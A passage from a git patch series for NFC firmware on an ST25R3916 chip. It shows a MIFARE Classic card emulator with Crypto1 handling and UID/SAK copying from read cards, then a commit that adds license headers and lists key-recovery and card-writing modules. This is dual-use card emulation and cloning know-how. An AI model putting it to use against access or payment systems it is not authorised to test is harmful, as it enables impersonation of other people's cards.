card->sak, card->sector_count); + + return HB_NFC_OK; +} + +void mfc_emu_set_callback(mfc_emu_event_cb_t cb, void* ctx) +{ + s_emu.cb = cb; + s_emu.cb_ctx = ctx; +} + +hb_nfc_err_t mfc_emu_configure_target(void) +{ + if (!s_emu.initialized) return HB_NFC_ERR_INTERNAL; + + ESP_LOGI(TAG, "=== Configuring ST25R3916 Target Mode ==="); + + hb_spi_reg_write(REG_OP_CTRL, 0x00); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_SET_DEFAULT); + vTaskDelay(pdMS_TO_TICKS(10)); + + uint8_t ic_id = 0; + hb_spi_reg_read(REG_IC_IDENTITY, &ic_id); + ESP_LOGI(TAG, "IC Identity = 0x%02X", ic_id); + if (ic_id == 0x00 || ic_id == 0xFF) { + ESP_LOGE(TAG, "SPI not responding after reset!"); + return HB_NFC_ERR_INTERNAL; + } + + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_EN); + vTaskDelay(pdMS_TO_TICKS(5)); + + uint8_t aux = 0; + for (int i = 0; i < 200; i++) { + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + if ((aux >> 4) & 1) break; + vTaskDelay(pdMS_TO_TICKS(1)); + } + ESP_LOGI(TAG, "Oscillator: AUX=0x%02X osc_ok=%d", aux, (aux >> 4) & 1); + + hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); + vTaskDelay(pdMS_TO_TICKS(10)); + + hb_spi_reg_write(REG_MODE, MODE_TARGET_NFCA); + + if (s_emu.card.uid_len == 7) { + hb_spi_reg_write(REG_AUX_DEF, 0x10); + } else { + hb_spi_reg_write(REG_AUX_DEF, 0x00); + } + + hb_spi_reg_write(REG_BIT_RATE, 0x00); + hb_spi_reg_write(REG_ISO14443A, 0x00); + hb_spi_reg_write(REG_PASSIVE_TARGET, 0x00); + + hb_spi_reg_write(REG_FIELD_THRESH_ACT, 0x33); + hb_spi_reg_write(REG_FIELD_THRESH_DEACT, 0x22); + + hb_spi_reg_write(REG_PT_MOD, 0x60); + + hb_spi_reg_write(REG_MASK_RX_TIMER, 0x00); + + hb_nfc_err_t err = load_pt_memory(); + if (err != HB_NFC_OK) return err; + + st25r_irq_read(); + hb_spi_reg_write(REG_MASK_MAIN_INT, 0x00); + hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0x00); + hb_spi_reg_write(REG_MASK_ERROR_WUP_INT, 0x00); + hb_spi_reg_write(REG_MASK_TARGET_INT, 0x00); + + uint8_t mode_rb = 0, aux_rb = 0; + hb_spi_reg_read(REG_MODE, &mode_rb); + hb_spi_reg_read(REG_AUX_DEF, &aux_rb); + ESP_LOGI(TAG, "Verify: MODE=0x%02X AUX_DEF=0x%02X", mode_rb, aux_rb); + + if (mode_rb != MODE_TARGET_NFCA) { + ESP_LOGE(TAG, "MODE readback wrong: 0x%02X (expected 0x%02X)", + mode_rb, MODE_TARGET_NFCA); + return HB_NFC_ERR_INTERNAL; + } + + ESP_LOGI(TAG, "=== Target configured ==="); + return HB_NFC_OK; +} + +hb_nfc_err_t mfc_emu_start(void) +{ + if (!s_emu.initialized) return HB_NFC_ERR_INTERNAL; + + st25r_irq_read(); + hb_spi_reg_write(REG_OP_CTRL, 0xC3); + vTaskDelay(pdMS_TO_TICKS(2)); + hb_spi_direct_cmd(0xC2); /* CMD_STOP */ + hb_spi_direct_cmd(CMD_GOTO_SENSE); + vTaskDelay(pdMS_TO_TICKS(2)); + hb_spi_direct_cmd(0xDB); /* Clear FIFO */ + hb_spi_direct_cmd(0xD1); /* Unmask RX */ + + uint8_t pt_sts = 0, op = 0, aux = 0; + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pt_sts); + hb_spi_reg_read(REG_OP_CTRL, &op); + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGI(TAG, "Start: PT_STS=0x%02X AUX=0x%02X OP=0x%02X", pt_sts, aux, op); + + s_emu.state = MFC_EMU_STATE_LISTEN; + s_emu.last_activity_us = esp_timer_get_time(); + + ESP_LOGI(TAG, "Emulator listening - bring the reader closer..."); + return HB_NFC_OK; +} + +mfc_emu_state_t mfc_emu_run_step(void) +{ + if (!s_emu.initialized) return MFC_EMU_STATE_ERROR; + + switch (s_emu.state) { + + case MFC_EMU_STATE_LISTEN: { + uint8_t tgt_irq = 0; + uint8_t main_irq = 0; + uint8_t timer_irq = 0; + + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + uint8_t pts = 0; + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + uint8_t pta = pts & 0x0F; + + if (pta == 0x05 || pta == 0x0D || (tgt_irq & IRQ_TGT_SDD_C)) { + ESP_LOGI(TAG, "=== SELECTED (pta=%d) ===", pta); + s_emu.stats.cycles++; + s_emu.crypto_active = false; + s_emu.last_activity_us = esp_timer_get_time(); + + hb_spi_reg_modify(REG_ISO14443A, + ISO14443A_NO_TX_PAR | ISO14443A_NO_RX_PAR, 0); + + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + emit_event(MFC_EMU_EVT_ACTIVATED); + s_emu.state = MFC_EMU_STATE_ACTIVATED; + return s_emu.state; + } + + if (pta == 0x01 || pta == 0x02 || pta == 0x03 || (tgt_irq & IRQ_TGT_WU_A)) { + ESP_LOGD(TAG, "Field detected (pta=%d)", pta); + break; + } + + if (!tgt_irq && !main_irq && !timer_irq) { + static uint32_t s_idle = 0; + if ((++s_idle % 600U) == 0U) { + uint8_t aux_d = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux_d); + ESP_LOGI(TAG, "[LISTEN] AUX=0x%02X efd_o=%d osc=%d PT_STS=0x%02X", + aux_d, (aux_d >> 6) & 1, (aux_d >> 4) & 1, pts); + } + } + break; + } + + case MFC_EMU_STATE_ACTIVATED: + case MFC_EMU_STATE_AUTHENTICATED: { + uint8_t tgt_irq = 0; + uint8_t main_irq = 0; + uint8_t timer_irq = 0; + + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + if (timer_irq & 0x08) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + if (((aux >> 6) & 1U) == 0U) { + ESP_LOGW(TAG, "Field lost -> LISTEN"); + reset_crypto_state(); + s_emu.stats.field_losses++; + emit_event(MFC_EMU_EVT_FIELD_LOST); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + s_emu.state = MFC_EMU_STATE_LISTEN; + return s_emu.state; + } + } + + if (!(main_irq & (IRQ_MAIN_RXE | IRQ_MAIN_FWL))) break; + + uint8_t enc[20] = { 0 }; + uint8_t cmd[20] = { 0 }; + int len = fifo_rx(enc, sizeof(enc)); + if (len <= 0) break; + + if (s_emu.state == MFC_EMU_STATE_AUTHENTICATED && s_emu.crypto_active) { + for (int i = 0; i < len; i++) { + uint8_t ks = crypto1_byte(&s_emu.crypto, 0, 0); + cmd[i] = enc[i] ^ ks; + } + } else { + memcpy(cmd, enc, len); + } + + s_emu.last_activity_us = esp_timer_get_time(); + uint8_t cmd_byte = cmd[0]; + + ESP_LOGI(TAG, "CMD: 0x%02X len=%d state=%s", + cmd_byte, len, mfc_emu_state_str(s_emu.state)); + + if (cmd_byte == MFC_CMD_AUTH_KEY_A || cmd_byte == MFC_CMD_AUTH_KEY_B) { + if (len >= 2) s_emu.state = handle_auth(cmd_byte, cmd[1]); + } + else if (s_emu.crypto_active) { + switch (cmd_byte) { + case MFC_CMD_READ: + if (len >= 2) s_emu.state = handle_read(cmd[1]); + break; + case MFC_CMD_WRITE: + if (len >= 2) s_emu.state = handle_write_phase1(cmd[1]); + break; + case MFC_CMD_INCREMENT: + case MFC_CMD_DECREMENT: + case MFC_CMD_RESTORE: + if (len >= 2) s_emu.state = handle_value_op_phase1(cmd_byte, cmd[1]); + break; + case MFC_CMD_TRANSFER: + if (len >= 2) s_emu.state = handle_transfer(cmd[1]); + break; + case MFC_CMD_HALT: + s_emu.state = handle_halt(); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + break; + default: + ESP_LOGW(TAG, "Unknown CMD: 0x%02X len=%d", cmd_byte, len); + s_emu.stats.unknown_cmds++; + target_tx_ack_encrypted(MFC_NACK_INVALID_OP); + s_emu.stats.nacks_sent++; + break; + } + } + else if (cmd_byte == MFC_CMD_HALT) { + s_emu.state = handle_halt(); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + } + else { + ESP_LOGW(TAG, "CMD 0x%02X without authentication", cmd_byte); + s_emu.stats.unknown_cmds++; + } + break; + } + + case MFC_EMU_STATE_WRITE_PENDING: { + uint8_t tgt_irq = 0, main_irq = 0, timer_irq = 0; + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + if (timer_irq & 0x08) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + if (((aux >> 6) & 1U) == 0U) { + reset_crypto_state(); + s_emu.stats.field_losses++; + emit_event(MFC_EMU_EVT_FIELD_LOST); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + s_emu.state = MFC_EMU_STATE_LISTEN; + return s_emu.state; + } + } + + if (!(main_irq & (IRQ_MAIN_RXE | IRQ_MAIN_FWL))) break; + + uint8_t enc[20] = { 0 }; + int len = fifo_rx(enc, sizeof(enc)); + if (len <= 0) break; + + uint8_t plain[20] = { 0 }; + for (int i = 0; i < len; i++) { + uint8_t ks = crypto1_byte(&s_emu.crypto, 0, 0); + plain[i] = enc[i] ^ ks; + } + s_emu.state = handle_write_phase2(plain, len); + break; + } + + case MFC_EMU_STATE_VALUE_PENDING: { + uint8_t tgt_irq = 0, main_irq = 0, timer_irq = 0; + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + if (timer_irq & 0x08) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + if (((aux >> 6) & 1U) == 0U) { + reset_crypto_state(); + s_emu.stats.field_losses++; + emit_event(MFC_EMU_EVT_FIELD_LOST); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + s_emu.state = MFC_EMU_STATE_LISTEN; + return s_emu.state; + } + } + + if (!(main_irq & (IRQ_MAIN_RXE | IRQ_MAIN_FWL))) break; + + uint8_t enc[8] = { 0 }; + int len = fifo_rx(enc, sizeof(enc)); + if (len <= 0) break; + + uint8_t plain[8] = { 0 }; + for (int i = 0; i < len; i++) { + uint8_t ks = crypto1_byte(&s_emu.crypto, 0, 0); + plain[i] = enc[i] ^ ks; + } + s_emu.state = handle_value_op_phase2(plain, len); + break; + } + + case MFC_EMU_STATE_HALTED: + case MFC_EMU_STATE_ERROR: { + reset_crypto_state(); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + s_emu.state = MFC_EMU_STATE_LISTEN; + break; + } + + default: + break; + } + + return s_emu.state; +} + +hb_nfc_err_t mfc_emu_update_card(const mfc_emu_card_data_t* card) +{ + if (!card) return HB_NFC_ERR_PARAM; + + reset_crypto_state(); + memcpy(&s_emu.card, card, sizeof(mfc_emu_card_data_t)); + s_emu.prng_state = get_cuid() ^ esp_random(); + + if (s_emu.state != MFC_EMU_STATE_IDLE) + load_pt_memory(); + + ESP_LOGI(TAG, "Card data updated: UID=%02X%02X%02X%02X", + card->uid[0], card->uid[1], card->uid[2], card->uid[3]); + + return HB_NFC_OK; +} + +void mfc_emu_stop(void) +{ + ESP_LOGI(TAG, "Emulator stopping..."); + reset_crypto_state(); + s_emu.state = MFC_EMU_STATE_IDLE; + hb_spi_direct_cmd(CMD_STOP_ALL); +} + +mfc_emu_stats_t mfc_emu_get_stats(void) { return s_emu.stats; } +mfc_emu_state_t mfc_emu_get_state(void) { return s_emu.state; } + +const char* mfc_emu_state_str(mfc_emu_state_t state) +{ + switch (state) { + case MFC_EMU_STATE_IDLE: return "IDLE"; + case MFC_EMU_STATE_LISTEN: return "LISTEN"; + case MFC_EMU_STATE_ACTIVATED: return "ACTIVATED"; + case MFC_EMU_STATE_AUTH_SENT_NT: return "AUTH_SENT_NT"; + case MFC_EMU_STATE_AUTHENTICATED: return "AUTHENTICATED"; + case MFC_EMU_STATE_WRITE_PENDING: return "WRITE_PENDING"; + case MFC_EMU_STATE_VALUE_PENDING: return "VALUE_PENDING"; + case MFC_EMU_STATE_HALTED: return "HALTED"; + case MFC_EMU_STATE_ERROR: return "ERROR"; + default: return "?"; + } +} + +void mfc_emu_card_data_init(mfc_emu_card_data_t* cd, + const nfc_iso14443a_data_t* card, + mf_classic_type_t type) +{ + memset(cd, 0, sizeof(*cd)); + + memcpy(cd->uid, card->uid, card->uid_len); + cd->uid_len = card->uid_len; + memcpy(cd->atqa, card->atqa, 2); + cd->sak = card->sak; + if (cd->uid_len == 4 && cd->sak == 0x88) { + ESP_LOGW(TAG, "SAK 0x88 with 4-byte UID; forcing 0x08 for emulation"); + cd->sak = 0x08; + } + cd->type = type; + + switch (type) { + case MF_CLASSIC_MINI: cd->sector_count = 5; cd->total_blocks = 20; break; + case MF_CLASSIC_1K: cd->sector_count = 16; cd->total_blocks = 64; break; + case MF_CLASSIC_4K: cd->sector_count = 40; cd->total_blocks = 256; break; + default: cd->sector_count = 16; cd->total_blocks = 64; break; + } +} From 24c41e28f032f97d9268cdd6008b2ca16ef1aca2 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 01:23:03 -0300 Subject: [PATCH 59/61] refactor(nfc,st25): trim comments and add license headers --- .../components/Applications/nfc/emu_diag.c | 13 +++ .../Applications/nfc/include/emu_diag.h | 13 +++ .../Applications/nfc/include/nfc_card_info.h | 13 +++ .../Applications/nfc/include/nfc_debug.h | 13 +++ .../Applications/nfc/include/nfc_device.h | 13 +++ .../Applications/nfc/include/nfc_listener.h | 13 +++ .../Applications/nfc/include/nfc_manager.h | 13 +++ .../Applications/nfc/include/nfc_reader.h | 15 +++- .../Applications/nfc/include/nfc_scanner.h | 13 +++ .../Applications/nfc/nfc_card_info.c | 13 +++ .../components/Applications/nfc/nfc_debug.c | 13 +++ .../components/Applications/nfc/nfc_device.c | 17 +++- .../Applications/nfc/nfc_listener.c | 15 +++- .../components/Applications/nfc/nfc_reader.c | 21 ++++- .../components/Applications/nfc/nfc_scanner.c | 21 ++++- .../components/Applications/nfc/nfc_store.c | 15 +++- .../nfc/protocols/common/include/nfc_apdu.h | 13 +++ .../nfc/protocols/common/include/nfc_common.h | 13 +++ .../nfc/protocols/common/include/nfc_crypto.h | 13 +++ .../nfc/protocols/common/include/nfc_rf.h | 13 +++ .../nfc/protocols/common/include/nfc_tag.h | 13 +++ .../nfc/protocols/common/include/nfc_tcl.h | 13 +++ .../nfc/protocols/common/nfc_apdu.c | 13 +++ .../nfc/protocols/common/nfc_crypto.c | 13 +++ .../nfc/protocols/common/nfc_rf.c | 13 +++ .../nfc/protocols/common/nfc_tag.c | 13 +++ .../nfc/protocols/common/nfc_tcl.c | 13 +++ .../Applications/nfc/protocols/emv/emv.c | 13 +++ .../nfc/protocols/emv/include/emv.h | 13 +++ .../nfc/protocols/felica/felica.c | 51 ++++++----- .../nfc/protocols/felica/felica_emu.c | 15 +++- .../nfc/protocols/felica/include/felica.h | 25 ++++-- .../nfc/protocols/felica/include/felica_emu.h | 15 +++- .../protocols/iso14443a/include/iso14443a.h | 13 +++ .../nfc/protocols/iso14443a/include/iso_dep.h | 13 +++ .../nfc/protocols/iso14443a/include/ndef.h | 13 +++ .../protocols/iso14443a/include/nfc_poller.h | 27 +++--- .../nfc/protocols/iso14443a/include/poller.h | 18 ++-- .../nfc/protocols/iso14443a/include/t4t.h | 13 +++ .../nfc/protocols/iso14443a/include/t4t_emu.h | 13 +++ .../nfc/protocols/iso14443a/iso14443a.c | 71 +++++---------- .../nfc/protocols/iso14443a/ndef.c | 13 +++ .../nfc/protocols/iso14443a/t4t.c | 13 +++ .../nfc/protocols/iso14443a/t4t_emu.c | 13 +++ .../protocols/iso14443b/include/iso14443b.h | 13 +++ .../iso14443b/include/iso14443b_emu.h | 13 +++ .../nfc/protocols/iso14443b/iso14443b.c | 13 +++ .../nfc/protocols/iso14443b/iso14443b_emu.c | 13 +++ .../nfc/protocols/iso15693/include/iso15693.h | 44 +++++----- .../protocols/iso15693/include/iso15693_emu.h | 57 +++++++----- .../nfc/protocols/iso15693/iso15693.c | 13 +++ .../nfc/protocols/iso15693/iso15693_emu.c | 45 ++++++---- .../nfc/protocols/llcp/include/llcp.h | 13 +++ .../nfc/protocols/llcp/include/snep.h | 13 +++ .../Applications/nfc/protocols/llcp/llcp.c | 13 +++ .../Applications/nfc/protocols/llcp/snep.c | 13 +++ .../nfc/protocols/mifare/include/crypto1.h | 14 ++- .../nfc/protocols/mifare/include/mf_classic.h | 15 +++- .../protocols/mifare/include/mf_classic_emu.h | 13 +++ .../mifare/include/mf_classic_writer.h | 13 +++ .../nfc/protocols/mifare/include/mf_desfire.h | 13 +++ .../protocols/mifare/include/mf_desfire_emu.h | 13 +++ .../protocols/mifare/include/mf_key_cache.h | 13 +++ .../protocols/mifare/include/mf_key_dict.h | 13 +++ .../protocols/mifare/include/mf_known_cards.h | 13 +++ .../nfc/protocols/mifare/include/mf_nested.h | 13 +++ .../nfc/protocols/mifare/include/mf_plus.h | 13 +++ .../protocols/mifare/include/mf_ultralight.h | 19 ++-- .../nfc/protocols/mifare/include/mfkey.h | 13 +++ .../nfc/protocols/mifare/mf_classic_emu.c | 13 +++ .../nfc/protocols/mifare/mf_desfire.c | 13 +++ .../nfc/protocols/mifare/mf_desfire_emu.c | 13 +++ .../nfc/protocols/mifare/mf_key_cache.c | 15 +++- .../nfc/protocols/mifare/mf_key_dict.c | 15 +++- .../nfc/protocols/mifare/mf_plus.c | 13 +++ .../nfc/protocols/mifare/mifare.c | 88 +++++-------------- .../nfc/protocols/t1t/include/t1t.h | 13 +++ .../Applications/nfc/protocols/t1t/t1t.c | 13 +++ .../nfc/protocols/t2t/include/t2t_emu.h | 13 +++ .../Applications/nfc/protocols/t2t/t2t_emu.c | 13 +++ .../Drivers/st25r3916/hal/hb_nfc_hal.c | 14 ++- .../st25r3916/hal/include/hb_nfc_gpio.h | 18 +++- .../st25r3916/hal/include/hb_nfc_spi.h | 15 +++- .../st25r3916/hal/include/hb_nfc_timer.h | 18 +++- .../Drivers/st25r3916/include/highboy_nfc.h | 13 +++ .../st25r3916/include/highboy_nfc_error.h | 13 +++ .../st25r3916/include/highboy_nfc_types.h | 13 +++ .../Drivers/st25r3916/include/st25r3916_aat.h | 13 +++ .../Drivers/st25r3916/include/st25r3916_cmd.h | 13 +++ .../st25r3916/include/st25r3916_core.h | 13 +++ .../st25r3916/include/st25r3916_fifo.h | 17 +++- .../Drivers/st25r3916/include/st25r3916_irq.h | 16 +++- .../Drivers/st25r3916/include/st25r3916_reg.h | 19 ++-- .../Drivers/st25r3916/st25r3916_aat.c | 13 +++ .../Drivers/st25r3916/st25r3916_core.c | 27 ++++-- .../Drivers/st25r3916/st25r3916_fifo.c | 13 +++ .../Drivers/st25r3916/st25r3916_irq.c | 21 ++++- 97 files changed, 1378 insertions(+), 283 deletions(-) diff --git a/firmware_p4/components/Applications/nfc/emu_diag.c b/firmware_p4/components/Applications/nfc/emu_diag.c index 867c2c7d..9ed754f8 100644 --- a/firmware_p4/components/Applications/nfc/emu_diag.c +++ b/firmware_p4/components/Applications/nfc/emu_diag.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include "emu_diag.h" #include "mf_classic_emu.h" #include "st25r3916_core.h" diff --git a/firmware_p4/components/Applications/nfc/include/emu_diag.h b/firmware_p4/components/Applications/nfc/include/emu_diag.h index 18b07ef4..20d57a27 100644 --- a/firmware_p4/components/Applications/nfc/include/emu_diag.h +++ b/firmware_p4/components/Applications/nfc/include/emu_diag.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file emu_diag.h * @brief Emulation Diagnostics Debug helper for ST25R3916 target mode. diff --git a/firmware_p4/components/Applications/nfc/include/nfc_card_info.h b/firmware_p4/components/Applications/nfc/include/nfc_card_info.h index ee352e47..d902e158 100644 --- a/firmware_p4/components/Applications/nfc/include/nfc_card_info.h +++ b/firmware_p4/components/Applications/nfc/include/nfc_card_info.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_card_info.h * @brief Card identification helpers (manufacturer + type). diff --git a/firmware_p4/components/Applications/nfc/include/nfc_debug.h b/firmware_p4/components/Applications/nfc/include/nfc_debug.h index 37064f48..c956e1bd 100644 --- a/firmware_p4/components/Applications/nfc/include/nfc_debug.h +++ b/firmware_p4/components/Applications/nfc/include/nfc_debug.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_debug.h * @brief NFC Debug tools CW, register dump, AAT sweep. diff --git a/firmware_p4/components/Applications/nfc/include/nfc_device.h b/firmware_p4/components/Applications/nfc/include/nfc_device.h index 34b0eaf2..5f3dfba3 100644 --- a/firmware_p4/components/Applications/nfc/include/nfc_device.h +++ b/firmware_p4/components/Applications/nfc/include/nfc_device.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_device.h * @brief NFC Device Card profile save/load via NVS. diff --git a/firmware_p4/components/Applications/nfc/include/nfc_listener.h b/firmware_p4/components/Applications/nfc/include/nfc_listener.h index e6dd500a..55451066 100644 --- a/firmware_p4/components/Applications/nfc/include/nfc_listener.h +++ b/firmware_p4/components/Applications/nfc/include/nfc_listener.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_listener.h * @brief NFC Listener card emulation control (Phase 9). diff --git a/firmware_p4/components/Applications/nfc/include/nfc_manager.h b/firmware_p4/components/Applications/nfc/include/nfc_manager.h index 6da2d304..44f31abb 100644 --- a/firmware_p4/components/Applications/nfc/include/nfc_manager.h +++ b/firmware_p4/components/Applications/nfc/include/nfc_manager.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_manager.h * @brief NFC Manager high-level FSM + FreeRTOS task. diff --git a/firmware_p4/components/Applications/nfc/include/nfc_reader.h b/firmware_p4/components/Applications/nfc/include/nfc_reader.h index 603f243b..e0d27d5c 100644 --- a/firmware_p4/components/Applications/nfc/include/nfc_reader.h +++ b/firmware_p4/components/Applications/nfc/include/nfc_reader.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_reader.h * @brief MIFARE Classic/Ultralight read helpers. @@ -17,7 +30,7 @@ void mf_classic_read_full(nfc_iso14443a_data_t* card); * Write all sectors from s_emu_card back to a target card. * Requires s_emu_data_ready == true (i.e. mf_classic_read_full completed). * Uses the keys stored in s_emu_card for authentication. - * Data blocks only — trailer write is skipped unless write_trailers is true. + * Data blocks only - trailer write is skipped unless write_trailers is true. * WARNING: writing trailers with wrong access bits can permanently lock sectors. */ void mf_classic_write_all(nfc_iso14443a_data_t* target, bool write_trailers); diff --git a/firmware_p4/components/Applications/nfc/include/nfc_scanner.h b/firmware_p4/components/Applications/nfc/include/nfc_scanner.h index 1720c8f7..e69b7cd0 100644 --- a/firmware_p4/components/Applications/nfc/include/nfc_scanner.h +++ b/firmware_p4/components/Applications/nfc/include/nfc_scanner.h @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. /** * @file nfc_scanner.h * @brief NFC Scanner auto-detect card technology (Phase 8). diff --git a/firmware_p4/components/Applications/nfc/nfc_card_info.c b/firmware_p4/components/Applications/nfc/nfc_card_info.c index 935a3c85..3f1b28a9 100644 --- a/firmware_p4/components/Applications/nfc/nfc_card_info.c +++ b/firmware_p4/components/Applications/nfc/nfc_card_info.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include "nfc_card_info.h" #include diff --git a/firmware_p4/components/Applications/nfc/nfc_debug.c b/firmware_p4/components/Applications/nfc/nfc_debug.c index 1c8dc1e7..53dc395f 100644 --- a/firmware_p4/components/Applications/nfc/nfc_debug.c +++ b/firmware_p4/components/Applications/nfc/nfc_debug.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. #include "nfc_debug.h" #include "st25r3916_core.h" #include "st25r3916_reg.h" diff --git a/firmware_p4/components/Applications/nfc/nfc_device.c b/firmware_p4/components/Applications/nfc/nfc_device.c index 4de69958..d0295b49 100644 --- a/firmware_p4/components/Applications/nfc/nfc_device.c +++ b/firmware_p4/components/Applications/nfc/nfc_device.c @@ -1,3 +1,16 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or 